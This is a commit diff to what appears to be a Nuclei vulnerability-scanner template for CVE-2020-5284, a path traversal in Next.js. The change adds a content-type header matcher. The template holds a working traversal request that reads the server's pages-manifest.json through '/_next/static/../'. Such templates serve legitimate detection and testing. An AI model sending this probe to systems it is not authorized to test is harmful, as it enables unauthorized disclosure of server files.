🔨 Add content-type matcher CVE-2020-5284
parent
b2828c3a44
commit
cd22d83f94
|
@ -2,19 +2,23 @@ id: CVE-2020-5284
|
||||||
|
|
||||||
info:
|
info:
|
||||||
name: Next.js .next/ limited path traversal
|
name: Next.js .next/ limited path traversal
|
||||||
author: Harsh & Rahul
|
author: Harsh & Rahul & dwisiswant0
|
||||||
severity: medium
|
severity: medium
|
||||||
|
|
||||||
requests:
|
requests:
|
||||||
- method: GET
|
- method: GET
|
||||||
path:
|
path:
|
||||||
- "{{BaseURL}}/_next/static/../server/pages-manifest.json"
|
- "{{BaseURL}}/_next/static/../server/pages-manifest.json"
|
||||||
|
|
||||||
matchers-condition: and
|
matchers-condition: and
|
||||||
matchers:
|
matchers:
|
||||||
- type: regex
|
- type: regex
|
||||||
regex:
|
regex:
|
||||||
- '\{"/_app":".*?_app\.js"'
|
- '\{"/_app":".*?_app\.js"'
|
||||||
|
part: body
|
||||||
|
- type: word
|
||||||
|
words:
|
||||||
|
- "application/json"
|
||||||
|
part: header
|
||||||
- type: status
|
- type: status
|
||||||
status:
|
status:
|
||||||
- 200
|
- 200
|
||||||
|
|
Loading…
Reference in New Issue